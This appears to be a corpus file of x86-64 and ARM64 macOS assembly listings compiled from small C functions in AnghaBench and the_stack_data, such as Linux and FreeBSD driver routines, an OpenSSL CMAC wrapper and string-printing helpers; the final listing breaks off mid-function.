.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function lp8788_set_irqs _lp8788_set_irqs: ## @lp8788_set_irqs .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %r12 movq 16(%rsi), %rax movq (%rax), %rax movq %rax, -48(%rbp) ## 8-byte Spill movq _IORESOURCE_IRQ@GOTPCREL(%rip), %rax movl (%rax), %esi callq _platform_get_resource_byname xorl %r13d, %r13d testq %rax, %rax je LBB0_9 ## %bb.1: movl (%rax), %ebx movl 4(%rax), %r15d cmpl %r15d, %ebx jg LBB0_9 ## %bb.2: incl %r15d .p2align 4, 0x90 LBB0_3: ## =>This Inner Loop Header: Depth=1 movslq (%r12), %r13 movq -48(%rbp), %rdi ## 8-byte Reload movl %ebx, %esi callq _irq_create_mapping movq 8(%r12), %rcx movl %eax, (%rcx,%r13,8) movl %ebx, 4(%rcx,%r13,8) incl (%r12) movq _lp8788_charger_irq_thread@GOTPCREL(%rip), %rcx movl (%rcx), %edx movl %eax, %edi xorl %esi, %esi xorl %ecx, %ecx movq %r14, %r8 movq %r12, %r9 callq _request_threaded_irq testl %eax, %eax jne LBB0_6 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 incl %ebx cmpl %ebx, %r15d jne LBB0_3 ## %bb.5: xorl %r13d, %r13d jmp LBB0_9 LBB0_6: movl %eax, %r13d cmpl $0, (%r12) jle LBB0_9 ## %bb.7: xorl %ebx, %ebx .p2align 4, 0x90 LBB0_8: ## =>This Inner Loop Header: Depth=1 movq 8(%r12), %rax movl (%rax,%rbx,8), %edi movq %r12, %rsi callq _free_irq incq %rbx movslq (%r12), %rax cmpq %rax, %rbx jl LBB0_8 LBB0_9: movl %r13d, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _IORESOURCE_IRQ,4,2 ## @IORESOURCE_IRQ .comm _lp8788_charger_irq_thread,4,2 ## @lp8788_charger_irq_thread .no_dead_strip _lp8788_set_irqs .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function lp8788_set_irqs _lp8788_set_irqs: ; @lp8788_set_irqs .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x20, x2 mov x19, x1 ldr x8, [x1, #16] ldr x21, [x8] Lloh0: adrp x8, _IORESOURCE_IRQ@GOTPAGE Lloh1: ldr x8, [x8, _IORESOURCE_IRQ@GOTPAGEOFF] Lloh2: ldr w1, [x8] bl _platform_get_resource_byname cbz x0, LBB0_5 ; %bb.1: ldp w22, w8, [x0] cmp w22, w8 b.gt LBB0_5 ; %bb.2: add w24, w8, #1 Lloh3: adrp x25, _lp8788_charger_irq_thread@GOTPAGE Lloh4: ldr x25, [x25, _lp8788_charger_irq_thread@GOTPAGEOFF] LBB0_3: ; =>This Inner Loop Header: Depth=1 ldrsw x23, [x19] mov x0, x21 mov x1, x22 bl _irq_create_mapping ldr x8, [x19, #8] add x8, x8, x23, lsl #3 stp w0, w22, [x8] ldr w8, [x19] add w8, w8, #1 str w8, [x19] ldr w2, [x25] mov x1, #0 mov w3, #0 mov x4, x20 mov x5, x19 bl _request_threaded_irq cbnz w0, LBB0_7 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 add w22, w22, #1 cmp w24, w22 b.ne LBB0_3 LBB0_5: mov w23, #0 LBB0_6: mov x0, x23 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_7: mov x23, x0 ldr w8, [x19] cmp w8, #1 b.lt LBB0_6 ; %bb.8: mov x20, #0 mov x21, #0 LBB0_9: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19, #8] ldr w0, [x8, x20] mov x1, x19 bl _free_irq add x21, x21, #1 ldrsw x8, [x19] add x20, x20, #8 cmp x21, x8 b.lt LBB0_9 b LBB0_6 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh3, Lloh4 .cfi_endproc ; -- End function .comm _IORESOURCE_IRQ,4,2 ; @IORESOURCE_IRQ .comm _lp8788_charger_irq_thread,4,2 ; @lp8788_charger_irq_thread .no_dead_strip _lp8788_set_irqs .subsections_via_symbols

AnghaBench/linux/drivers/power/supply/extr_lp8788-charger.c_lp8788_set_irqs.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function hwmp_ioctl_set80211 _hwmp_ioctl_set80211: ## @hwmp_ioctl_set80211 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq (%rdi), %rax movq _IEEE80211_M_MBSS@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_5 ## %bb.1: movq 8(%rdi), %rax movl (%rsi), %ecx cmpl $129, %ecx je LBB0_6 ## %bb.2: cmpl $128, %ecx jne LBB0_5 ## %bb.3: movl 4(%rsi), %ecx cmpl $4, %ecx jae LBB0_7 ## %bb.4: movl %ecx, (%rax) callq _hwmp_rootmode_setup jmp LBB0_10 LBB0_5: movq _ENOSYS@GOTPCREL(%rip), %rax jmp LBB0_8 LBB0_6: movl 4(%rsi), %ecx leal -256(%rcx), %edx cmpl $-256, %edx ja LBB0_9 LBB0_7: movq _EINVAL@GOTPCREL(%rip), %rax LBB0_8: movl (%rax), %eax popq %rbp retq LBB0_9: movl %ecx, 4(%rax) LBB0_10: xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .comm _IEEE80211_M_MBSS,8,3 ## @IEEE80211_M_MBSS .comm _ENOSYS,4,2 ## @ENOSYS .comm _EINVAL,4,2 ## @EINVAL .no_dead_strip _hwmp_ioctl_set80211 .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function hwmp_ioctl_set80211 _hwmp_ioctl_set80211: ; @hwmp_ioctl_set80211 .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 ldr x8, [x0] Lloh0: adrp x9, _IEEE80211_M_MBSS@GOTPAGE Lloh1: ldr x9, [x9, _IEEE80211_M_MBSS@GOTPAGEOFF] Lloh2: ldr x9, [x9] cmp x8, x9 b.ne LBB0_5 ; %bb.1: ldr x8, [x0, #8] ldr w9, [x1] cmp w9, #129 b.eq LBB0_6 ; %bb.2: cmp w9, #128 b.ne LBB0_5 ; %bb.3: ldr w9, [x1, #4] cmp w9, #4 b.hs LBB0_7 ; %bb.4: str w9, [x8] bl _hwmp_rootmode_setup mov w0, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret LBB0_5: Lloh3: adrp x8, _ENOSYS@GOTPAGE Lloh4: ldr x8, [x8, _ENOSYS@GOTPAGEOFF] b LBB0_8 LBB0_6: ldr w9, [x1, #4] sub w10, w9, #256 cmn w10, #256 b.hi LBB0_9 LBB0_7: Lloh5: adrp x8, _EINVAL@GOTPAGE Lloh6: ldr x8, [x8, _EINVAL@GOTPAGEOFF] LBB0_8: ldr w0, [x8] ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret LBB0_9: mov w0, #0 str w9, [x8, #4] ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGot Lloh5, Lloh6 .cfi_endproc ; -- End function .comm _IEEE80211_M_MBSS,8,3 ; @IEEE80211_M_MBSS .comm _ENOSYS,4,2 ; @ENOSYS .comm _EINVAL,4,2 ; @EINVAL .no_dead_strip _hwmp_ioctl_set80211 .subsections_via_symbols

AnghaBench/freebsd/sys/net80211/extr_ieee80211_hwmp.c_hwmp_ioctl_set80211.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dfill ## -- Begin function dfill .p2align 4, 0x90 _dfill: ## @dfill .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp decl %edi imull %edx, %edi testl %edi, %edi js LBB0_3 ## %bb.1: movslq %edx, %rax movl %edi, %ecx xorl %edx, %edx .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movsd %xmm0, (%rsi,%rdx,8) addq %rax, %rdx cmpq %rcx, %rdx jle LBB0_2 LBB0_3: popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dfill ; -- Begin function dfill .p2align 2 _dfill: ; @dfill .cfi_startproc ; %bb.0: ; kill: def $w2 killed $w2 def $x2 sub w8, w0, #1 mul w8, w8, w2 tbnz w8, #31, LBB0_3 ; %bb.1: mov x9, #0 sxtw x10, w2 LBB0_2: ; =>This Inner Loop Header: Depth=1 str d0, [x1, x9, lsl #3] add x9, x9, x10 cmp x9, x8 b.le LBB0_2 LBB0_3: ret .cfi_endproc ; -- End function .subsections_via_symbols

the_stack_data/12637210.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function cmac_final _cmac_final: ## @cmac_final .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl (%rdi), %edi popq %rbp jmp _CMAC_Final ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _cmac_final .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function cmac_final _cmac_final: ; @cmac_final .cfi_startproc ; %bb.0: ldr w0, [x0] b _CMAC_Final .cfi_endproc ; -- End function .no_dead_strip _cmac_final .subsections_via_symbols

AnghaBench/openssl/providers/implementations/macs/extr_cmac_prov.c_cmac_final.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function igb_cache_ring_register _igb_cache_ring_register: ## @igb_cache_ring_register .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r14 movq 32(%rdi), %r15 xorl %ebx, %ebx cmpl $133, 40(%rdi) jne LBB0_5 ## %bb.1: testq %r15, %r15 je LBB0_5 ## %bb.2: cmpl $0, (%r14) jle LBB0_5 ## %bb.3: xorl %ebx, %ebx .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movl %ebx, %edi callq _Q_IDX_82576 addq %r15, %rax movq 24(%r14), %rcx movq (%rcx,%rbx,8), %rcx movq %rax, (%rcx) incq %rbx movslq (%r14), %rax cmpq %rax, %rbx jl LBB0_4 LBB0_5: movl 4(%r14), %eax cmpl %eax, %ebx jge LBB0_9 ## %bb.6: movq 24(%r14), %rcx movl %ebx, %edx movl %eax, %edi subl %ebx, %edi movq %rdx, %r8 notq %r8 addq %rax, %r8 andq $3, %rdi je LBB0_8 .p2align 4, 0x90 LBB0_7: ## =>This Inner Loop Header: Depth=1 leaq (%r15,%rdx), %rbx movq (%rcx,%rdx,8), %rsi movq %rbx, (%rsi) incq %rdx decq %rdi jne LBB0_7 LBB0_8: cmpq $3, %r8 jb LBB0_9 .p2align 4, 0x90 LBB0_12: ## =>This Inner Loop Header: Depth=1 leaq (%r15,%rdx), %rsi movq (%rcx,%rdx,8), %rdi movq %rsi, (%rdi) leaq (%r15,%rdx), %rsi incq %rsi movq 8(%rcx,%rdx,8), %rdi movq %rsi, (%rdi) leaq 2(%r15,%rdx), %rsi movq 16(%rcx,%rdx,8), %rdi movq %rsi, (%rdi) leaq (%r15,%rdx), %rsi addq $3, %rsi movq 24(%rcx,%rdx,8), %rdi movq %rsi, (%rdi) addq $4, %rdx cmpq %rdx, %rax jne LBB0_12 LBB0_9: movl 8(%r14), %esi testl %esi, %esi jle LBB0_18 ## %bb.10: movq 16(%r14), %rdx leaq -1(%rsi), %rcx movl %esi, %r8d andl $3, %r8d cmpq $3, %rcx jae LBB0_13 ## %bb.11: xorl %ecx, %ecx jmp LBB0_15 LBB0_13: andl $-4, %esi xorl %ecx, %ecx movl %r15d, %edi .p2align 4, 0x90 LBB0_14: ## =>This Inner Loop Header: Depth=1 movq (%rdx,%rcx,8), %rbx movl %edi, (%rbx) leal 1(%rdi), %ebx movq 8(%rdx,%rcx,8), %rax movl %ebx, (%rax) leal 2(%rdi), %eax movq 16(%rdx,%rcx,8), %rbx movl %eax, (%rbx) leal 3(%rdi), %eax movq 24(%rdx,%rcx,8), %rbx movl %eax, (%rbx) addq $4, %rcx addl $4, %edi cmpq %rcx, %rsi jne LBB0_14 LBB0_15: testq %r8, %r8 je LBB0_18 ## %bb.16: leaq (%rdx,%rcx,8), %rdx addl %r15d, %ecx xorl %esi, %esi .p2align 4, 0x90 LBB0_17: ## =>This Inner Loop Header: Depth=1 leal (%rcx,%rsi), %eax movq (%rdx,%rsi,8), %rdi movl %eax, (%rdi) incq %rsi cmpq %rsi, %r8 jne LBB0_17 LBB0_18: addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _igb_cache_ring_register .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function igb_cache_ring_register _igb_cache_ring_register: ; @igb_cache_ring_register .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 ldr x21, [x0, #32] ldr w8, [x0, #40] cmp w8, #133 ccmp x21, #0, #4, eq b.eq LBB0_4 ; %bb.1: ldr w8, [x19] cmp w8, #1 b.lt LBB0_4 ; %bb.2: mov x20, #0 LBB0_3: ; =>This Inner Loop Header: Depth=1 mov x0, x20 bl _Q_IDX_82576 add x8, x0, x21 ldr x9, [x19, #24] ldr x9, [x9, x20, lsl #3] str x8, [x9] add x20, x20, #1 ldrsw x8, [x19] cmp x20, x8 b.lt LBB0_3 b LBB0_5 LBB0_4: mov w20, #0 LBB0_5: ldr w8, [x19, #4] cmp w20, w8 b.ge LBB0_13 ; %bb.6: ldr x9, [x19, #24] mov w14, w20 sub x11, x8, x14 cmp x11, #4 b.hs LBB0_8 ; %bb.7: mov x10, x14 b LBB0_11 LBB0_8: and x12, x11, #0xfffffffffffffffc add x10, x12, x14 add x13, x21, x14 add x14, x9, x14, lsl #3 add x14, x14, #16 mov x15, x12 LBB0_9: ; =>This Inner Loop Header: Depth=1 add x16, x13, #1 add x17, x13, #2 add x0, x13, #3 ldp x1, x2, [x14, #-16] ldp x3, x4, [x14], #32 str x13, [x1] str x16, [x2] str x17, [x3] str x0, [x4] add x13, x13, #4 subs x15, x15, #4 b.ne LBB0_9 ; %bb.10: cmp x11, x12 b.eq LBB0_13 LBB0_11: add x9, x9, x10, lsl #3 add x11, x10, x21 sub x8, x8, x10 LBB0_12: ; =>This Inner Loop Header: Depth=1 ldr x10, [x9], #8 str x11, [x10] add x11, x11, #1 subs x8, x8, #1 b.ne LBB0_12 LBB0_13: ldr w8, [x19, #8] cmp w8, #1 b.lt LBB0_21 ; %bb.14: ldr x9, [x19, #16] cmp w8, #4 b.hs LBB0_16 ; %bb.15: mov x10, #0 b LBB0_19 LBB0_16: and x10, x8, #0xfffffffc add x11, x9, #16 mov x12, x10 mov x13, x21 LBB0_17: ; =>This Inner Loop Header: Depth=1 add w14, w13, #1 add w15, w13, #2 add w16, w13, #3 ldp x17, x0, [x11, #-16] ldp x1, x2, [x11], #32 str w13, [x17] str w14, [x0] str w15, [x1] str w16, [x2] add w13, w13, #4 subs x12, x12, #4 b.ne LBB0_17 ; %bb.18: cmp x10, x8 b.eq LBB0_21 LBB0_19: add x9, x9, x10, lsl #3 add w11, w10, w21 sub x8, x8, x10 LBB0_20: ; =>This Inner Loop Header: Depth=1 ldr x10, [x9], #8 str w11, [x10] add w11, w11, #1 subs x8, x8, #1 b.ne LBB0_20 LBB0_21: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _igb_cache_ring_register .subsections_via_symbols

AnghaBench/linux/drivers/net/ethernet/intel/igb/extr_igb_main.c_igb_cache_ring_register.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ft_putchar ## -- Begin function ft_putchar .p2align 4, 0x90 _ft_putchar: ## @ft_putchar .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movb %dil, -1(%rbp) leaq -1(%rbp), %rsi movl $1, %edx movl $1, %edi callq _write addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _ft_putstr ## -- Begin function ft_putstr .p2align 4, 0x90 _ft_putstr: ## @ft_putstr .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movb (%rdi), %al testb %al, %al je LBB1_3 ## %bb.1: movq %rdi, %rbx incq %rbx leaq -17(%rbp), %r14 .p2align 4, 0x90 LBB1_2: ## =>This Inner Loop Header: Depth=1 movb %al, -17(%rbp) movl $1, %edx movl $1, %edi movq %r14, %rsi callq _write movzbl (%rbx), %eax incq %rbx testb %al, %al jne LBB1_2 LBB1_3: addq $16, %rsp popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ft_putchar ; -- Begin function ft_putchar .p2align 2 _ft_putchar: ; @ft_putchar .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 sturb w0, [x29, #-1] sub x1, x29, #1 mov w0, #1 mov w2, #1 bl _write ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _ft_putstr ; -- Begin function ft_putstr .p2align 2 _ft_putstr: ; @ft_putstr .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 ldrb w8, [x0] cbz w8, LBB1_3 ; %bb.1: add x19, x0, #1 LBB1_2: ; =>This Inner Loop Header: Depth=1 strb w8, [sp, #15] add x1, sp, #15 mov w0, #1 mov w2, #1 bl _write ldrb w8, [x19], #1 cbnz w8, LBB1_2 LBB1_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .subsections_via_symbols

the_stack_data/248581407.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function qca955x_chip_init_usb_peripheral _qca955x_chip_init_usb_peripheral: ## @qca955x_chip_init_usb_peripheral .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _qca955x_chip_init_usb_peripheral .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function qca955x_chip_init_usb_peripheral _qca955x_chip_init_usb_peripheral: ; @qca955x_chip_init_usb_peripheral .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .no_dead_strip _qca955x_chip_init_usb_peripheral .subsections_via_symbols

AnghaBench/freebsd/sys/mips/atheros/extr_qca955x_chip.c_qca955x_chip_init_usb_peripheral.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function tumbler_detect_lineout _tumbler_detect_lineout: ## @tumbler_detect_lineout .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq (%rdi), %rdi cmpq $0, (%rdi) je LBB0_1 ## %bb.2: popq %rbp jmp _read_audio_gpio ## TAILCALL LBB0_1: xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _tumbler_detect_lineout .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function tumbler_detect_lineout _tumbler_detect_lineout: ; @tumbler_detect_lineout .cfi_startproc ; %bb.0: ldr x0, [x0] ldr x8, [x0] cbz x8, LBB0_2 ; %bb.1: b _read_audio_gpio LBB0_2: mov w0, #0 ret .cfi_endproc ; -- End function .no_dead_strip _tumbler_detect_lineout .subsections_via_symbols

AnghaBench/linux/sound/ppc/extr_tumbler.c_tumbler_detect_lineout.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function hfsplus_dump_extent _hfsplus_dump_extent: ## @hfsplus_dump_extent .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movq _DBG_EXTENT@GOTPCREL(%rip), %r13 movl (%r13), %edi leaq L_.str(%rip), %rsi xorl %eax, %eax callq _dprint movl (%r13), %r15d movl 4(%rbx), %edi callq _be32_to_cpu movl %eax, %r12d movl (%rbx), %edi callq _be32_to_cpu leaq L_.str.1(%rip), %r14 movl %r15d, %edi movq %r14, %rsi movl %r12d, %edx movl %eax, %ecx xorl %eax, %eax callq _dprint movl (%r13), %r15d movl 12(%rbx), %edi callq _be32_to_cpu movl %eax, %r12d movl 8(%rbx), %edi callq _be32_to_cpu movl %r15d, %edi movq %r14, %rsi movl %r12d, %edx movl %eax, %ecx xorl %eax, %eax callq _dprint movl (%r13), %r15d movl 20(%rbx), %edi callq _be32_to_cpu movl %eax, %r12d movl 16(%rbx), %edi callq _be32_to_cpu movl %r15d, %edi movq %r14, %rsi movl %r12d, %edx movl %eax, %ecx xorl %eax, %eax callq _dprint movl (%r13), %r15d movl 28(%rbx), %edi callq _be32_to_cpu movl %eax, %r12d movl 24(%rbx), %edi callq _be32_to_cpu movl %r15d, %edi movq %r14, %rsi movl %r12d, %edx movl %eax, %ecx xorl %eax, %eax callq _dprint movl (%r13), %r15d movl 36(%rbx), %edi callq _be32_to_cpu movl %eax, %r12d movl 32(%rbx), %edi callq _be32_to_cpu movl %r15d, %edi movq %r14, %rsi movl %r12d, %edx movl %eax, %ecx xorl %eax, %eax callq _dprint movl (%r13), %r15d movl 44(%rbx), %edi callq _be32_to_cpu movl %eax, %r12d movl 40(%rbx), %edi callq _be32_to_cpu movl %r15d, %edi movq %r14, %rsi movl %r12d, %edx movl %eax, %ecx xorl %eax, %eax callq _dprint movl (%r13), %r15d movl 52(%rbx), %edi callq _be32_to_cpu movl %eax, %r12d movl 48(%rbx), %edi callq _be32_to_cpu movl %r15d, %edi movq %r14, %rsi movl %r12d, %edx movl %eax, %ecx xorl %eax, %eax callq _dprint movl (%r13), %r15d movl 60(%rbx), %edi callq _be32_to_cpu movl %eax, %r12d movl 56(%rbx), %edi callq _be32_to_cpu movl %r15d, %edi movq %r14, %rsi movl %r12d, %edx movl %eax, %ecx xorl %eax, %eax callq _dprint movl (%r13), %edi leaq L_.str.2(%rip), %rsi xorl %eax, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _dprint ## TAILCALL .cfi_endproc ## -- End function .comm _DBG_EXTENT,4,2 ## @DBG_EXTENT .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz " " L_.str.1: ## @.str.1 .asciz " %u:%u" L_.str.2: ## @.str.2 .asciz "\n" .no_dead_strip _hfsplus_dump_extent .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function hfsplus_dump_extent _hfsplus_dump_extent: ; @hfsplus_dump_extent .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x0 Lloh0: adrp x23, _DBG_EXTENT@GOTPAGE Lloh1: ldr x23, [x23, _DBG_EXTENT@GOTPAGEOFF] ldr w0, [x23] Lloh2: adrp x1, l_.str@PAGE Lloh3: add x1, x1, l_.str@PAGEOFF bl _dprint ldr w21, [x23] ldr w0, [x19, #4] bl _be32_to_cpu mov x20, x0 ldr w0, [x19] bl _be32_to_cpu ; kill: def $w0 killed $w0 def $x0 stp x20, x0, [sp] Lloh4: adrp x20, l_.str.1@PAGE Lloh5: add x20, x20, l_.str.1@PAGEOFF mov x0, x21 mov x1, x20 bl _dprint ldr w21, [x23] ldr w0, [x19, #12] bl _be32_to_cpu mov x22, x0 ldr w0, [x19, #8] bl _be32_to_cpu ; kill: def $w0 killed $w0 def $x0 stp x22, x0, [sp] mov x0, x21 mov x1, x20 bl _dprint ldr w21, [x23] ldr w0, [x19, #20] bl _be32_to_cpu mov x22, x0 ldr w0, [x19, #16] bl _be32_to_cpu ; kill: def $w0 killed $w0 def $x0 stp x22, x0, [sp] mov x0, x21 mov x1, x20 bl _dprint ldr w21, [x23] ldr w0, [x19, #28] bl _be32_to_cpu mov x22, x0 ldr w0, [x19, #24] bl _be32_to_cpu ; kill: def $w0 killed $w0 def $x0 stp x22, x0, [sp] mov x0, x21 mov x1, x20 bl _dprint ldr w21, [x23] ldr w0, [x19, #36] bl _be32_to_cpu mov x22, x0 ldr w0, [x19, #32] bl _be32_to_cpu ; kill: def $w0 killed $w0 def $x0 stp x22, x0, [sp] mov x0, x21 mov x1, x20 bl _dprint ldr w21, [x23] ldr w0, [x19, #44] bl _be32_to_cpu mov x22, x0 ldr w0, [x19, #40] bl _be32_to_cpu ; kill: def $w0 killed $w0 def $x0 stp x22, x0, [sp] mov x0, x21 mov x1, x20 bl _dprint ldr w21, [x23] ldr w0, [x19, #52] bl _be32_to_cpu mov x22, x0 ldr w0, [x19, #48] bl _be32_to_cpu ; kill: def $w0 killed $w0 def $x0 stp x22, x0, [sp] mov x0, x21 mov x1, x20 bl _dprint 